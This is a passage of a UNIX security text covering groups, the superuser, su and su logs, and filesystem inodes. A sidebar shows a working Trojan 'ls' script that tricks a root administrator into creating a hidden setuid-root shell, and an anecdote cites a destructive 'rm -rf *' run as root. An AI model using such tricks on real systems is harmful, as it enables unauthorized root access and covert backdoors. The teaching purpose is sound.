Every UNIX user belongs to one or more groups. Like user accounts, groups have both a groupname and a group identification number (GID). GID values are also historically 16-bit integers.

As the name implies, UNIX groups are used to group users together. As with usernames, groupnames and numbers are assigned by the system administrator when each user's account is created. Groups can be used by the system administrator to designate sets of users who are allowed to read, write, and/or execute specific files, directories, or devices.

Each user belongs to a primary group that is stored in the /etc/passwd file. The GID of the user's primary group follows the user's UID. Consider, again, our /etc/passwd example:

rachel:eH5/.mj7NB3dx:181:100:Rachel Cohen:/u/rachel:/bin/ksh

In this example, Rachel's primary GID is 100.

Groups provide a handy mechanism for treating a number of users in a certain way. For example, you might want to set up a group for a team of students working on a project so that students in the group, but nobody else, can read and modify the team's files.

Groups can also be used to restrict access to sensitive information or specially licensed applications to a particular set of users: for example, many UNIX computers are set up so that only users who belong to the kmem group can examine the operating system's kernel memory. The ingres group is commonly used to allow only registered users to execute the commercial Ingres database program. And a sources group might be limited to people who have signed nondisclosure forms so as to be able to view the source code for some software.

NOTE: Some special versions of UNIX support MAC (Mandatory Access Controls), which have controls based on data labeling instead of, or in addition to, the traditional UNIX DAC (Discretionary Access Controls). MAC-based systems do not use traditional UNIX groups. Instead, the GID values and the /etc/group file may be used to specify security access control labeling or to point to capability lists. If you are using one of these systems, you should consult the vendor documentation to ascertain what the actual format and use of these values might be.

4.1.3.1 The /etc/group file

The /etc/group file contains the database that lists every group on your computer and its corresponding GID. Its format is similar to the format used by the /etc/passwd file.[3]

[3] As with the password file, if your site is running NIS, NIS+, NetInfo, or DCE, the /etc/group file may be incomplete or missing. See the discussion in "The /etc/passwd File and Network Databases" in Chapter 3.

Here is a sample /etc/group file that defines five groups: wheel, uucp, vision, startrek, and users:

wheel:*:0:root,rachel
uucp:*:10:uucp
users:*:100:
vision:*:101:keith,arlin,janice
startrek:*:102:janice,karen,arlin

The first line of this file defines the wheel group. The fields are explained in Table 4.1.

Table 4.1: Wheel Group Fields
Field Contents | Description
wheel | The group name
* | The group's "password" (described below)
0 | The group's GID
root, rachel | The list of the users who are in the group

.

Most versions of UNIX use the wheel group[4] as the list of all of the computer's system administrators (in this case, rachel and the root user are the only members). The second line of this file defines the uucp group. The only member in the uucp group is the uucp user. The third line defines the users group; the users group does not explicitly list any users; each user on this particular system is a member of the users group by virtue of their individual entries in the /etc/passwd file.

[4] Not all versions of UNIX call this group wheel; this is group 0, regardless of what it is named.

The remaining two lines define two groups of users. The vision group includes the users keith, arlin and janice. The startrek group contains the users janice, karen, and arlin. Notice that the order in which the usernames are listed on each line is not important. (This group is depicted graphically in Figure 4.1.)

Remember, the users mentioned in the /etc/group file are in these groups in addition to the groups mentioned as their primary groups in the file /etc/passwd. For example, Rachel is in the users group even though she does not appear in that group in the file /etc/group because her primary group number is 100. On some versions of UNIX, you can issue the groups command or the id command to list which groups you are currently in.

Groups are handled differently by versions of System V UNIX before Release 4 and by Berkeley UNIX; SVR4 incorporates the semantics of BSD groups.

NOTE: It is not necessary for there to be an entry in the /etc/group file for a group to exist! As with UIDs and account names, UNIX actually uses only the integer part of the GID for all settings and permissions. The name in the /etc/group file is simply a convenience for the users - a means of associating a mnemonic with the GID value.

Figure 4.1 illustrates how users can be included in multiple groups.

Figure 4.1: Users and groups

4.1.3.2 Groups and older AT&T UNIX

Under versions of AT&T UNIX before SVR4, a user can occupy only a single group at a time. To change your current group, you must use the newgrp command. The newgrp command takes a single argument: the name of the group that you're attempting to change into. If the newgrp command succeeds, it execs a shell that has a different GID, but the same UID:

$ newgrp news
$

This is similar to the su command used to change UID.

Usually, you'll want to change into only these groups in which you're already a member; that is, groups that have your username mentioned on their line in the /etc/group file. However, the newgrp command also allows you to change into a group of which you're not normally a member. For this purpose, UNIX uses the group password field of the /etc/group file. If you try to change into a group of which you're not a member, the newgrp command will prompt you for that group's password. If the password you type agrees with the password for the group stored in the /etc/group file, the newgrp command temporarily puts you into the group by spawning a subshell with that group:

$ newgrp fiction
password: rates34
$

You're now free to exercise all of the rights and privileges of the fiction group.

The password in the /etc/group file is interpreted exactly like the passwords in the /etc/passwd file, including salts (described in Chapter 8, Defending Your Accounts). However, most systems do not have a program to install or change the passwords in this file. To set a group password, you must first assign it to a user with the passwd command, then use a text editor to copy the encrypted password out of the /etc/passwd file and into the /etc/group file. Alternatively, you can encode the password using the /usr/lib/makekey program (if present) and edit the result into the /etc/group file in the appropriate place.[5]

[5] We suspect that passwords have seldom been used in the group file. Otherwise, by now someone would have developed an easier, one-step method of updating the passwords. UNIX gurus tend to write tools for anything they have to do more than twice and that require more than a few simple steps. Updating passwords in the group file is an obvious candidate, but a corresponding tool has not been developed. Ergo, the operation must not be common.

NOTE: Some versions of UNIX, such as AIX, do not support group passwords.

4.1.3.3 Groups and BSD or SVR4 UNIX

One of the many enhancements that the Berkeley group made to the UNIX operating system was to allow users to reside in more than one group at a time. When a user logs in to a Berkeley UNIX system, the program /bin/login scans the entire /etc/group file and places the user into all of the groups in which that user is listed.[6] The user is also placed in the primary group listed in the user's /etc/passwd file entry. When the system needs to determine access rights to something based on the user's membership in a group, it checks all the current groups for the user to determine if that access should be granted (or denied).

[6] If you are on a system that uses NIS, NIS+ or some other system for managing user accounts throughout a network, these network databases will be referenced as well. For more information, see Chapter 19, RPC, NIS, NIS+, and Kerberos.

Thus, Berkeley and SVR4 UNIX have no obvious need for the newgrp command - indeed, many of the versions do not include it. However, there may be a need for it in some cases. If you have a group entry with no users listed but a valid password field, you might want to have some users run the newgrp program to enter that group. This action will be logged in the audit files, and can be used for accounting or activity tracking. However, situations where you might want to use this are likely to be rare. Note, however, that some systems, including AIX, do not support use of a password in the /etc/group file, although they may allow use of the newgrp command to change primary group.

Previous: 3.8 Summary | Practical UNIX & Internet Security | Next: 4.2 Special Usernames
3.8 Summary | Book Index | 4.2 Special Usernames


[Chapter 4] 4.2 Special Usernames

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 4.1 Users and Groups Chapter 4
Users, Groups, and the Superuser 		Next: 4.3 su: Changing Who You Claim to Be

4.2 Special Usernames

In addition to regular users, UNIX comes with a number of special users that exist for administrative and accounting purposes. We've already mentioned some of these users. The most important of them is root, the superuser.

4.2.1 The Superuser

Every UNIX system comes with a special user in the /etc/passwd file with a UID of 0. This user is known as the superuser and is normally given the username root. The password for the root account is usually called simply the "root password."

The root account is the identity used by the operating system itself to accomplish its basic functions, such as logging users in and out of the system, recording accounting information, and managing input/output devices. For this reason, the superuser exerts nearly complete control over the operating system: nearly all security restrictions are bypassed for any program that is run by the root user, and most of the checks and warnings are turned off.

4.2.1.1 Any username can be the superuser

As we noted in the section Section 4.1, "Users and Groups" Although every UNIX user has a username of up to eight characters long, inside the computer UNIX represents each user by a single number: the user identifier (UID). Usually, the UNIX system administrator gives every user on the computer a different UID. UNIX also uses special usernames for a variety of system functions. As with usernames associated with human users, system usernames usually have their own UIDs as well. Here are some common "users" on various versions of UNIX:">" earlier in this chapter, any account which has a UID of 0 has superuser privileges. The username root is merely a convention. Thus, in the following sample /etc/passwd file, both root and beth can execute commands without any security checks:

root:zPDeHbougaPpA:0:1:Operator:/:/bin/ksh
beth:58FJ32JK.fj3j:0:101:Beth Cousineau:/u/beth:/bin/csh
rachel:eH5/.mj7NB3dx:181:100:Rachel Cohen:/u/rachel:/bin/ksh

You should immediately be suspicious of accounts on your system which have a UID of 0 that you did not install; accounts such as these are frequently added by people who break into computers so that they will have a simple way of obtaining superuser access in the future.

4.2.1.2 Superuser is not for casual use

The root account is not an account designed for the personal use of the system administrator. Because all security checks are turned off for the superuser, a typing error could easily trash the entire system.

The UNIX system administrator will frequently have to become the superuser to perform various system administration tasks. This change in status can be completed using the su command (discussed later in this chapter) to spawn a privileged shell. Extreme caution must be exercised when operating with superuser capabilities. When the need for superuser access has ended, the system administrator should exit from the privileged shell.

NOTE: Many versions of UNIX allow you to configure certain terminals so that users can't log in as the superuser from the login: prompt. Anyone who wishes to have superuser privileges must first log in as himself or herself and then su to root. This feature makes tracking who is using the root account easier, because the su command logs the username of the person who runs it and the time that it was run.[7] The feature also adds to overall system security, because people will need to know two passwords to gain superuser access to your system.

In general, most UNIX systems today are configured so that the superuser can log in with the root account on the system console, but not on other terminals. We describe this technique in the section called Section 4.3.6, "Restricting su" later in this chapter.

Even if your system allows users to log directly into the root account, we recommend that you institute rules that require users to first log into their own accounts and then use the su command.

4.2.1.3 What the superuser can do

Any process that has an effective UID of 0 (see "Real and Effective User IDs" later in this chapter) runs as the superuser - that is, any process with a UID of 0 runs without security checks and is allowed to do almost anything. Normal security checks and constraints are ignored for the superuser, although most systems do audit and log some of the superuser's actions.

Some of the things that the superuser can do include:

Process Control:

  • Change the nice value of any process (see the section "Process priority and niceness" in Appendix C, UNIX Processes).

  • Send any signal to any process (see "Signals" in Appendix C).

  • Alter "hard limits" for maximum CPU time as well as maximum file, data segment, stack segment, and core file sizes (see Chapter 11, Protecting Against Programmed Threats).

  • Turn accounting on and off (see Chapter 10).

  • Bypass login restrictions prior to shutdown. (Note: this may not be possible if you have configured your system so that the superuser cannot log into terminals.)

  • Change his or her process UID to that of any other user on the system.

  • Log out all users and shutdown or reboot the system.

Device Control:

  • Access any working device.

  • Shut down the computer.

  • Set the date and time.

  • Read or modify any memory location.

  • Create new devices (anywhere in the filesystem) with the mknod command.

Network Control:

  • Run network services on "trusted" ports (see Chapter 17, TCP/IP Services).

  • Reconfigure the network.

  • Put the network interface into "promiscuous mode" and examine all packets on the network (possible only with some kinds of network interfaces).

Filesystem Control:

  • Read, modify, or delete any file or program on the system (see Chapter 5, The UNIX Filesystem).

  • Run any program.[8]

    [8] If a program has a file mode of 000, root must set the execute bit of the program with the chmod() system call before the program can be run, although shell scripts can be run by feeding their input directly into /bin/sh.

  • Change a disk's electronic label.[9]

    [9] Usually stored on the first 16 blocks of a hard disk or floppy disk formatted with the UNIX filesystem.

  • Mount and unmount filesystems.

  • Add, remove, or change user accounts.

  • Enable or disable quotas and accounting.

  • Use the chroot() system call, which changes a process's view of the filesystem root directory.

  • Write to the disk after it is "100 percent" full. (The Berkeley Fast Filesystem and the Linux ext2 File System both allow the reservation of some minfree amount of the disk. Normally, a report that a disk is 100% full implies that there is still 10% left. Although this space can be used by the superuser, it shouldn't be: filesystems run faster when their disks are not completely filled.)

4.2.1.4 What the superuser can't do

Despite all of the powers listed above, there are some things that the superuser can't do, including:

  • Make a change to a filesystem that is mounted read-only. (However, the su-peruser can make changes directly to the raw device, or unmount a read-only filesystem and remount it read/write, provided that the media is not physically write-protected.)

  • Unmount a filesystem which contains open files, or in which some running process has set its current directory.[10]

    [10] Many BSD variants (including NetBSD and FreeBSD) provide an -f option to umount, which forcibly unmounts a busy filesystem.

  • Write directly to a directory, or create a hard link to a directory (although these operations are allowed on some UNIX systems).

  • Decrypt the passwords stored in the /etc/passwd file, although the superuser can modify the /bin/login and su system programs to record passwords when they are typed. The superuser can also use the passwd command to change the password of any account.

  • Terminate a process that has entered a wait state inside the kernel, although the superuser can shut down the computer, effectively killing all processes.

4.2.1.5 The problem with the superuser

The superuser is the main security weakness in the UNIX operating system. Because the superuser can do anything, after a person gains superuser privileges - for example, by learning the root password and logging in as root - that person can do virtually anything to the system. This explains why most attackers who break into UNIX systems try to become superusers.

Most UNIX security holes that have been discovered are of the kind that allow regular users to obtain superuser privileges. Thus, most UNIX security holes result in a catastrophic bypass of the operating system's security mechanisms. After a flaw is discovered and exploited, the entire computer is compromised.

There are a number of techniques for minimizing the impact of such system compromises, including:

  • Store your files on removable media, so that an attacker who gains superuser privileges will still not have access to critical files.

  • Encrypt your files. Being the superuser grants privileges only on the UNIX system; it does not magically grant the mathematical prowess necessary to decrypt a well-coded file or the necessary clairvoyance to divine encryption keys. (Encryption is discussed in Chapter 6, Cryptography.)

  • Mount disks read-only when possible.

  • Keep your backups of the system current. This practice is discussed further in Chapter 7, Backups.

There are many other defenses, too, and we'll continue to present them throughout this book.

Other operating systems - including Multics - obviate the superuser flaw by compartmentalizing the many system privileges which UNIX bestows on the root user. Indeed, attempts to design a "secure" UNIX (one that meets U.S. Government definitions of highly trusted systems) have adopted this same strategy of dividing superuser privileges into many different categories.

Unfortunately, attempts at compartmentalization often fail. For example, Digital's VAX/VMS operating system divides system privileges into many different classifications. But many of these privileges can be used by a persistent person to establish the others: an attacker who achieves "physical I/O access" can modify the operating system's database to grant himself any other privilege that he desires. Thus, instead of a single catastrophic failure in security, we have a cascading series of smaller failures leading to the same end result. For compartmentalization to be successful, it must be carefully thought out.

4.2.2 Other Special Users

To minimize the danger of superuser penetration, many UNIX systems use other special user accounts to execute system functions that require special privileges - for example, to access certain files or directories - but that do not require superuser privileges. These special users are associated with particular system functions, rather than individual users.

One very common special user is the uucp user, which is used by the UUCP system for transferring files and electronic mail between UNIX computers connected by telephone. When one computer dials another computer, it must first log in: instead of logging in as root, the remote computer logs in as uucp. Electronic mail that's awaiting transmission to the remote machine is stored in directories that are readable only by the uucp user so that other users on the computer can't access each other's personal mail. (See Chapter 15.)

Other common special users include daemon, which is often used for network utilities, bin and sys, which are used for system files, and lp, which is used for the line printer system.

4.2.3 Impact of the /etc/passwd and /etc/group Files on Security

From the point of view of system security, /etc/passwd is one of the UNIX operating system's most important files. (Another very important file is /dev/kmem, which, if left unprotected, can be used to read or write any address in the kernel's memory.) If you can alter the contents of /etc/passwd, you can change the password of any user or make yourself the superuser by changing your UID to 0.

The /etc/group file is also very important. If you can change the /etc/group file, you can add yourself to any group that you wish. Often, by adding yourself to the correct group, you can eventually gain access to the /etc/passwd file, and thus achieve all superuser privileges.

Previous: 4.1 Users and Groups | Practical UNIX & Internet Security | Next: 4.3 su: Changing Who You Claim to Be
4.1 Users and Groups | Book Index | 4.3 su: Changing Who You Claim to Be


[Chapter 4] 4.3 su: Changing Who You Claim to Be

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 4.2 Special Usernames Chapter 4
Users, Groups, and the Superuser 		Next: 4.4 Summary

4.3 su: Changing Who You Claim to Be

Sometimes, one user must assume the identity of another. For example, you might sit down at a friend's terminal and want to access one of your protected files. Rather than forcing you to log your friend out and log yourself in, UNIX gives you a way to change your user ID temporarily. It is called the su command, short for "substitute user." su requires that you provide the password of the user to whom you are changing.

For example, to change yourself from tim to john, you might type:

% whoami
tim
% su john
password: fuzbaby
% whoami
john
%

You can now access john's files. (And you will be unable to access tim's files, unless those files are specifically available to the user john.)

4.3.1 Real and Effective UIDs

Processes on UNIX systems have at least two identities at every moment. Normally, these two identities are the same. The first identity is the real UID. The real UID is your "real identity" and matches up (usually) with the username you logged in as. Sometimes, you may want to take on the identity of another user to access some files or execute some commands. You might do this by logging in as that user, thus obtaining a new command interpreter whose underlying process has a real UID equal to that user.

Alternatively, if you only want to execute a few commands as another user, you can use the su command, as described above, to create a new process. This will run a new copy of your command interpreter (shell), and have the identity (real UID) of that other user. To use the su command, you must either know the password for the other user's account, or you must currently be running as the superuser.

There are times when a software author wants a single command to execute with the rights and privileges of another user - most often, the root user. In a case such as this, we certainly don't want to disclose the password to the root account, nor do we want the user to have access to a command interpreter running as root. UNIX addresses this problem through the use of a special kind of file designation called setuid or SUID. When a SUID file is run, the process involved takes on an effective UID that is the same as the owner of the file, but the real UID remains the same. SUID files are explained in the following chapter.

4.3.2 Saved IDs

Some versions of UNIX have a third form of UID: the saved UID. In these systems, a user may run a setuid program that sets an effective UID of 0 and then sets some different real UID as well. The saved UID is used by the system to allow the user to set identity back to the original value. Normally, this is not something the user can see, but it can be important when you are writing or running setuid programs.

4.3.3 Other IDs

UNIX also has the analogous concepts of effective GID, real GID, and setgid for groups.

Some versions of UNIX also have session IDs, process group IDs, and audit IDs. A session ID is associated with the processes connected to a terminal, and can be thought of as indicating a "login session." A process group ID designates a group of processes that are in the foreground or background on systems that allow job control. An audit ID indicates a thread of activity to be indicated as the same in the audit mechanism. We will not describe any of these further in this book because you don't really need to know how they work. However, now you know what they are if you encounter their names.

4.3.4 Becoming the Superuser

Typing su without a username tells UNIX that you wish to become the superuser. You will be prompted for a password. Typing the correct root password causes a shell to be run with a UID of 0. When you become the superuser, your prompt should change to the pound sign (#) to remind you of your new powers. For example:

% /bin/su -
password: k697dgf
# whoami
root
#

When using the su command to become the superuser, you should always type the command's full pathname, /bin/su. By typing the full pathname, you are assuring that you are actually running the real /bin/su command, and not another command named su that happens to be in your search path. This method is a very important way of protecting yourself (and the superuser password) from capture by a Trojan horse. Other techniques are described in Chapter 11. Also see the sidebar in the section the sidebar "Stealing Superuser" later in this chapter.

Notice the use of the dash shown in the earlier example. Most versions of the su command support an optional argument of a single dash. When supplied, this causes su to invoke its sub-shell with a dash, which causes the shell to read all relevant startup files and simulate a login. Using the dash option is important when becoming a superuser: the option assures that you will be using the superuser's path, and not the path of the account from which you su'ed.

To exit the subshell, type exit or press control-D.

If you use the su command to change to another user while you are the su-peruser, you won't be prompted for the password of the user who you are changing yourself into. (This makes sense; as you're the superuser, you could as easily change that user's password and then log in as that user.) For example:

# su john
% whoami
john
%

Once you have become the superuser, you are free to perform whatever system administration you wish.

Using su to become the superuser is not a security hole. Any user who knows the superuser password could also log in as superuser; breaking in through su is no easier. In fact, su enhances security: many UNIX systems can be set up so that every su attempt is logged, with the date, time, and user who typed the command. Examining these log files allows the system administrator to see who is exercising superuser privileges - as well as who shouldn't be!

4.3.5 Using su with Caution

If you are the system administrator, you should be careful about how you use the su command. Remember, if you su to the superuser account, you can do things by accident that you would normally be protected from doing. You could also accidentally give away access to the superuser account without knowing you did so.

As an example of the first case, consider the real instance of someone we know who thought that he was in a temporary directory in his own account and typed rm -rf *. Unfortunately, he was actually in the /usr/lib directory, and he was operating as the superuser. He spent the next few hours restoring tapes, checking permissions, and trying to soothe irate users. The moral of this small vignette, and hundreds more we could relate with similar consequences, is that you should not be issuing commands as the superuser unless you need the extra privileges. Program construction, testing, and personal "housecleaning" should all be done under your own user identity.

Another example is when you accidentally execute a Trojan Horse program instead of the system command you thought you executed. (See the sidebar later in this chapter.) If something like this happens to you as user root, full access to your system can be given away. We discuss some defenses to this in Chapter 11, but one major suggestion is worth repeating: if you need access to someone else's files, su to that user ID and make the accesses as that user rather than as the superuser.

For instance, if a user reports a problem with files in her account, you could su to the root account and investigate, because you might not be able to access her account or files from your own, regular account. However, a better approach is to su to the superuser account, and then su to the user's account - you won't need her password for the su after you are root. Not only does this method protect the root account, but you will also have some of the same access permissions as the user you are helping, and that would help you find the problem sooner.

Stealing Superuser

Once upon a time, many years ago, one of us needed access to the root account on an academic machine. Although we had been authorized by management to have root access, the local system manager didn't want to disclose the password. He asserted that access to the root account was dangerous (correct), that he had far more knowledge of UNIX than we did (unlikely), and that we didn't need the access (incorrect). After several diplomatic and bureaucratic attempts to get access normally, we took a slightly different approach, with management's wry approval.

We noticed that this user had "." at the beginning of his shell search path. This meant that every time he typed a command name, the shell would first search the current directory for the command of the same name. When he did a su to root, this search path was inherited by the new shell. This was all we really needed.

First, we created an executable shell file named ls in the current directory:

#!/bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}

Then, we executed the following commands:

% cd
% chmod 700 .
% touch ./-f

The trap was ready. We approached the recalcitrant administrator with the complaint, "I have a funny file in my directory I can't seem to delete." Because the directory was mode 700, he couldn't list the directory to see the contents. So, he used su to become user root. Then he changed the directory to our home directory and issued the command ls to view the problem file. Instead of the system version of ls, he ran our version. This created a hidden setuid root copy of the shell, deleted the bogus ls command, and ran the real ls command. The administrator never knew what happened.

We listened politely as he explained (superciliously) that files beginning with a dash character (-) needed to be deleted with a pathname relative to the current directory (in our case, rm ./-f); of course, we knew that.

A few minutes later, he couldn't get the new root password.

4.3.6 Restricting su

On some versions of Berkeley-derived UNIX, a user cannot su to the root account unless the user is a member of the process group wheel - or any other group given the group ID of 0. For this restriction to work, the /etc/group entry for group wheel must be non-empty; if the entry has no usernames listed, the restriction is disabled, and anyone can su to user root if they have the password.

Some versions of su also allow members of the wheel group to become the superuser by providing their own passwords instead of the superuser password. The advantage of this feature is that you don't need to tell the superuser's password to a user for them to have superuser access - you simply have to put them into the wheel group. You can take away their access simply by taking them out of the group.

Some versions of System V UNIX require that users specifically be given permission to su. Different versions of UNIX accomplish this in different ways; consult your own system's documentation for details, and use the mechanism if it is available.

Another way to restrict the su program is by making it executable only by a specific group and by placing in that group only the people who you want to be able to run the command. For information on how to do this, see "Changing a File's Permissions" in Chapter 5.

4.3.7 The Bad su Log

Most versions of the su command log failed attempts. Older versions of UNIX explicitly logged bad su attempts to the console and in the /var/adm/messages file.[11] Newer versions log bad su attempts through the syslog facility, allowing you to send the messages to a file of your choice or to log facilities on remote computers across the network. (Some System V versions log to the file /var/adm/sulog in addition to syslog, or instead of it.)

[11] Many UNIX log files that are currently stored in the /var/adm directory have been stored in the /usr/adm directory in previous versions of UNIX.

If you notice many bad attempts, it may well be an indication that somebody using an account on your system is trying to gain unauthorized privileges: this might be a legitimate user poking around, or it might be an indication that the user's account has been appropriated by an outsider who is trying to gain further access.

A single bad attempt, of course, might simply be a mistyped password, someone mistyping the du command, or somebody wondering what the su command does.[12]

[12] Which of course leads us to observe that people who try commands to see what they do shouldn't be allowed to run commands like su once they find out.

You can quickly scan the /var/adm/messages file for bad passwords with the grep command:

% grep BAD /var/adm/messages
BADSU 09/12 18:40 - pts/0 rachel-root

Good su attempts look like this:

% grep + /var/adm/sulog
SU 09/14 23:42 + pts/2 simsong-root
SU 09/16 08:40 + pts/4 simsong-root
SU 09/16 10:34 + pts/3 simsong-root

It would appear that Simson has been busy su'ing to root on September 14th and 16th.

4.3.7.1 The sulog under Berkeley UNIX

The /var/adm/messages log has a different format on computers running Berkeley UNIX:

% grep su:
Sep 11 01:40:59 bogus.com su: ericx to root on /dev/ttyu0
Sep 12 18:40:02 bogus.com su: BAD su rachel on /dev/ttyp1

In this example, user rachel tried to su on September 12th and failed. This is something we would investigate further to see if it really was Rachel.

4.3.8 Other Uses of su

On older versions of UNIX, the su command was frequently used in the crontab file to cause programs executed by cron to be run under different user IDs. A line from a crontab file to run the UUCP uuclean program (which trims the log files in the uucp directory) might have had the form:

0 4 * * * su uucp -c /usr/lib/uucp/uuclean

This use of su is now largely obsolete: the few systems that still use a single crontab file for all users now allow the username to be specified as the sixth argument on each line of the crontab file:

0 4 * * * uucp /usr/lib/uucp/uuclean

Most versions of UNIX now use a version of the cron system that can have a separate crontab file for each user, and there is no need to specify the username to use. Each file is given the username of the user for whom it is to be run; that is, cron commands to be run as root are placed in a file called root, while cron commands to be run as uucp are placed in a file called uucp. These files are often kept in the directory /usr/spool/cron/crontabs.

Nevertheless, you can still use the su command for running commands under different user names. You might want to do this in some shell scripts. However, check your documentation as to the proper method of specifying options to be passed to the command via the su command line.

Previous: 4.2 Special Usernames | Practical UNIX & Internet Security | Next: 4.4 Summary
4.2 Special Usernames | Book Index | 4.4 Summary


[Chapter 4] 4.4 Summary

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 4.3 su: Changing Who You Claim to Be Chapter 4
Users, Groups, and the Superuser 		Next: 5. The UNIX Filesystem

4.4 Summary

Every account on your UNIX system should have a unique UID. This UID is used by the system to determine access rights to various files and services. Users should have unique UIDs so their actions can be audited and controlled.

Each account also belongs to one or more groups, represented by GIDs. You can use group memberships to designate access to resources shared by more than one user.

Your computer has a special account called root, which has complete control over the system. Be sure to limit who has access to the root account, and routinely check for bad su attempts. If possible, you should have all of the machines on your network log bad su attempts to a specially appointed secure machine. Each computer on your network should have a different superuser password.

Previous: 4.3 su: Changing Who You Claim to Be | Practical UNIX & Internet Security | Next: 5. The UNIX Filesystem
4.3 su: Changing Who You Claim to Be | Book Index | 5. The UNIX Filesystem


[Chapter 5] The UNIX Filesystem

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 4.4 Summary Chapter 5 Next: 5.2 Using File Permissions

5. The UNIX Filesystem

Contents:
Files
Using File Permissions
The umask
Using Directory Permissions
SUID
Device Files
chown: Changing a File's Owner
chgrp: Changing a File's Group
Oddities and Dubious Ideas
Summary

The UNIX filesystem controls the way that information in files and directories is stored on disk and other forms of secondary storage. It controls which users can access what items and how. The filesystem is therefore one of the most basic tools for enforcing UNIX security on your system.

Information stored in the UNIX filesystem is arranged as a tree structure of directories and files. The tree is constructed from directories and subdirectories within a single directory, which is called the root. [1] Each directory, in turn, can contain other directories or entries such as files, pointers (symbolic links) to other parts of the filesystem, logical names that represent devices (such as /dev/tty), and many other types.[2]

[1] This is where the "root" user (superuser) name originates: the owner of the root of the filesystem.

[2] For example, the UNIX "process" filesystem in System V contains entries that represent processes that are currently executing.

This chapter explains, from the user's point of view, how the filesystem represents and protects information.

5.1 Files

From the simplest perspective, everything visible to the user in a UNIX system can be represented as a "file" in the filesystem - including processes and network connections. Almost all of these items are represented as "files" each having at least one name, an owner, access rights, and other attributes. This information is actually stored in the filesystem in an inode(index node), the basic filesystem entry. An inode stores everything about a filesystem entry except its name; the names are stored in directories and are associated with pointers to inodes.

5.1.1 Directories

One special kind of entry in the filesystem is the directory. A directory is nothing more than a simple list of names and inode numbers. A name can consist of any string of any characters with the exception of a "/" character and the "null" character (usually a zero byte).[3] There is a limit to the length of these strings, but it is usually quite long: 1024 or longer on many modern versions of UNIX; older AT&T versions limit names to 14 characters or less.

[3] Some versions of UNIX may further restrict the characters that can be used in filenames and directory names.

These strings are the names of files, directories, and the other objects stored in the filesystem. Each name can contain control characters, line feeds, and other characters. This can have some interesting implications for security, and we'll discuss those later in this and other chapters.

Associated with each name is a numeric pointer that is actually an index on disk for an inode. An inode contains information about an individual entry in the filesystem; these contents are described in the next section.

Nothing else is contained in the directory other than names and inode numbers. No protection information is stored there, nor owner names, nor data. The directory is a very simple relational database that maps names to inode numbers. No restriction on how many names can point to the same inode exists, either. A directory may have 2, 5, or 50 names that each have the same inode number. In like manner, several directories may have names that associate to the same inode. These are known as links [4] to the file. There is no way of telling which link was the first created, nor is there any reason to know: all the names are equal in what they access. This is often a confusing idea for beginning users as they try to understand the "real name" for a file.

[4] These are hard links or direct links. Some systems support a different form of pointer, known as a symbolic link, that behaves in a different way.

This also means that you don't actually delete a file with commands such as rm. Instead, you unlink the name - you sever the connection between the filename in a directory and the inode number. If another link still exists, the file will continue to exist on disk. After the last link is removed, and the file is closed, the kernel will reclaim the storage because there is no longer a method for a user to access it.

Every normal directory has two names always present. One entry is for "." (dot), and this is associated with the inode for the directory itself; it is self-referential. The second entry is for ".." (dot-dot), which points to the "parent" of this directory - the directory next closest to the root in the tree-structured filesystem. The exception is the root directory itself, named "/". In the root directory, ".." is also a link to "/".

5.1.2 Inodes

For each object in the filesystem, UNIX stores administrative information in a structure known as an inode. Inodes reside on disk and do not have names. Instead, they have indices (numbers) indicating their positions in the array of inodes.

Each inode generally contains:

  • The location of the item's contents on the disk, if any

  • The item's type (e.g., file, directory, symbolic link)

  • The item's size, in bytes, if applicable

  • The time the file's inode was last modified (the ctime)

  • The time the file's contents were last modified (the mtime)

  • The time the file was last accessed (the atime) for read ( ), exec ( ), etc

  • A reference count: the number of names the file has

  • The file's owner (a UID)

  • The file's group (a GID)

  • The file's mode bits (also called file permissions or permission bits)

The last three pieces of information, stored for each item, and coupled with UID/GID information about executing processes, are the fundamental data that UNIX uses for practically all operating system security.

Other information can also be stored in the inode, depending on the particular version of UNIX involved. Some systems may also have other nodes such as vnodes, cnodes, and so on. These are simply extensions to the inode concept to support foreign files, RAID[5] disks, or other special kinds of filesystems. We'll confine our discussion to inodes, as that abstraction contains most of the information we need.

[5] RAID means Redundant Array of Inexpensive Disks. It is a technique for combining many low-cost hard disks into a single unit that offers improved performance and reliability.

Figure 5.1 shows how information is stored in an inode.

Figure 5.1: Files and inodes

5.1.3 Current Directory and Paths

Every item in the filesystem with a name can be specified with a pathname. The word pathname is appropriate because a pathname represents the path to the entry from the root of the filesystem. By following this path, the system can find the inode of the referenced entry.

Pathnames can be absolute or relative. Absolute pathnames always start at the root, and thus always begin with a "/", representing the root directory. Thus, a pathname such as /homes/mortimer/bin/crashmerepresents a pathname to an item starting at the root directory.

A relative pathname always starts interpretation from the current directory of the process referencing the item. This concept implies that every process has associated with it a current directory. Each process inherits its current directory from a parent process after a fork (see Appendix C, UNIX Processes). The current directory is initialized at login from the sixth field of the user record in the /etc/passwd file: the home directory. The current directory is then updated every time the process performs a change-directory operation (chdir or cd). Relative pathnames also imply that the current directory is at the front of the given pathname. Thus, after executing the command cd /usr, the relative pathname lib/makekey would actually be referencing the pathname /usr/lib/makekey. Note that any pathname that doesn't start with a "/" must be relative.

5.1.4 Using the ls Command

You can use the ls command to list all of the files in a directory. For instance, to list all the files in your current directory, type:

% ls -a
instructions  letter       notes
invoice       more-stuff   stats
%

You can get a more detailed listing by using the ls -lF command:

% ls -lF
total 161 -rw-r--r-- 1 sian    user          505 Feb  9 13:19 instructions
-rw-r--r-- 1 sian    user         3159 Feb  9 13:14 invoice
-rw-r--r-- 1 sian    user         6318 Feb  9 13:14 letter
-rw------- 1 sian    user        15897 Feb  9 13:20 more-stuff
-rw-r----- 1 sian    biochem      4320 Feb  9 13:20 notes
-rwxr-xr-x 1 sian    user       122880 Feb  9 13:26 stats*
%

The first line of output generated by the ls command ("total 161" in the example above) indicates the number of kilobytes taken up by the files in the directory.[6] Each of the other lines of output contains the fields, from left to right, as described in Table 5.1.

[6] Some older versions of UNIX reported this in 512-byte blocks rather than in kilobytes.

Table 5.1: ls Output
Field Contents | Meaning
- | The file's type; for regular files, this field is always a dash
rw-r--r-- | The file's permissions
1 | The number of "hard" links to the file; the number of "names" for the file
sian | The name of the file's owner
user | The name of the file's group
505 | The file's size, in bytes
